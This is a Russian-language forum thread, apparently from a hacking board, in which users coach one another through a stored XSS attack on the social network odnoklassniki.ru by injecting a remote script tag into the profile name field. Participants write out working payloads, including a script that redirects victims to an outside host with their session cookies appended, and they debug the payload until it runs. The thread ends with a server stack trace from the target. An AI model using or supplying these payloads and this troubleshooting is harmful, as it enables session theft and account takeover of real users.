ну в общем сделал скрипт поместил его в поле имени,захожу на свой форум пытаюсь написать сообщение и пропало поле ввода...подробнее об xss на odnoklassniki.ru можно прочитать http://video.antichat.ru/file259.html скрипт выглядит вот так <script src="www.avlo.freevar.com/1.js"></script>
в поле ваше имя вводи: <script src=http://stranica.narod.ru/1.js></script> в 1.js напиши: alert("XSS"); и пробуй, если алерт вылетит, то все работает, потом просто изменишь 1.js как тебе нужно и все т.е. смысл как я понимаюв том что кавычки фильтруются, и протокол ты не указал
Сделал как ты сказал,но алерт не вышел, но вот почему не знаю....вот в если в поле имени поставить <script>alert(/test/)</script> то алерт вылетает....мдяяяя дела...
В поле имени стоит <script src="www.avlo.freevar.com/1.js"></script> в 1.js написано alert(/tets/); не срабатывает =(( когда хочешь добавить сообщение когда должен срабатывать скрипт до появляется надпись добавить сообщение и усё...ни поля,ни фига....
я же тебе сказал: 1. нужно прописывать протокол http:// 2. кавычки как я понимаю там экранируются, не используй их 3. http://www.avlo.freevar.com/1.js не существует и вобще на этот сайт ругается Зарегай страничку на народе как я тебе сказал
зарегил на народе.... alvo150.narod.ru index.html ______ <script src="http://www.alvo150.narod.ru/1.js"></script> 1.js ____ document.location='http://s.netsec.ru/andreya87.gif'+document.cookie'; Когда захожу на http://www.alvo150.narod.ru то не перекидывает меня на 1.js... Просмотр исходного <script src="http://www.alvo150.narod.ru/1.js"></script><!-- ><!-- "><!-- '><!-- --></textarea></form> </title></comment></a> </div></span></ilayer></layer></iframe></noframes></style></noscript></table></script></applet></font> <style> #bn {display:block;} #bt {display:block;} </style> <div style="background:url(http://www.tns-counter.ru/V13a****yandex_ru/ru/CP1251/tmsec=narod_total/)"></div> <script language="JavaScript" src="http://yabs.yandex.ru/show/163"></script> <!-- mailto:[email protected] -->
ну да...но смысл не меняется не перходит он на этот скрипт....когда заходишь на http://www.alvo150.narod.ru
Да потому что он у тебя кривой У тебя там написано: Code: document.location='http://s.netsec.ru/andreya87.gif?'+document.cookie'; Убери апостроф после "document.cookie". Сделай так: Code: document.location='http://s.netsec.ru/andreya87.gif?'+document.cookie; З.Ы. Да и вообще, лучше взять в привычку - перед тем как тестировать что либо удалённо, проверить скрипты на локальной тачке.
выдал такую ошибку : Code: 500 Servlet Exception one.ejb.control.client.ControllerFailureException: Can not obtain allowed EJB service provider. at one.app.community.dk.model.AWebModel.get(AWebModel.java:536) at one.app.community.dk.model.AWebModel.handleEvent(AWebModel.java:464) at one.app.community.dk.model.AWebModel.performLogin(AWebModel.java:298) at one.app.community.dk.model.AWebModel.performLoginUser(AWebModel.java:286) at one.app.community.dk.servlet.DesktopServlet.handleNotLoginnedException(DesktopServlet.java:264) at one.app.community.dk.servlet.DesktopServlet.doPost(DesktopServlet.java:128) at one.app.community.dk.servlet.DesktopServlet.doGet(DesktopServlet.java:60) at javax.servlet.http.HttpServlet.service(HttpServlet.java:126) at javax.servlet.http.HttpServlet.service(HttpServlet.java:103) at com.caucho.server.http.FilterChainServlet.doFilter(FilterChainServlet.java:96) at one.app.community.filter.BufferingFilter.doFilter(BufferingFilter.java:85) at com.caucho.server.http.FilterChainFilter.doFilter(FilterChainFilter.java:88) at com.caucho.http.filter.GzipFilter.doFilter(GzipFilter.java:128) at com.caucho.server.http.FilterChainFilter.doFilter(FilterChainFilter.java:88) at com.caucho.server.http.Invocation.service(Invocation.java:315) at com.caucho.server.http.HttpRequest.handleRequest(HttpRequest.java:253) at com.caucho.server.http.HttpRequest.handleConnection(HttpRequest.java:170) at com.caucho.server.TcpConnection.run(TcpConnection.java:139) at java.lang.Thread.run(Thread.java:619) Resin 2.1.16 (built Tue Feb 15 11:12:27 PST 2005) без разрывов. мб кому-то поможет
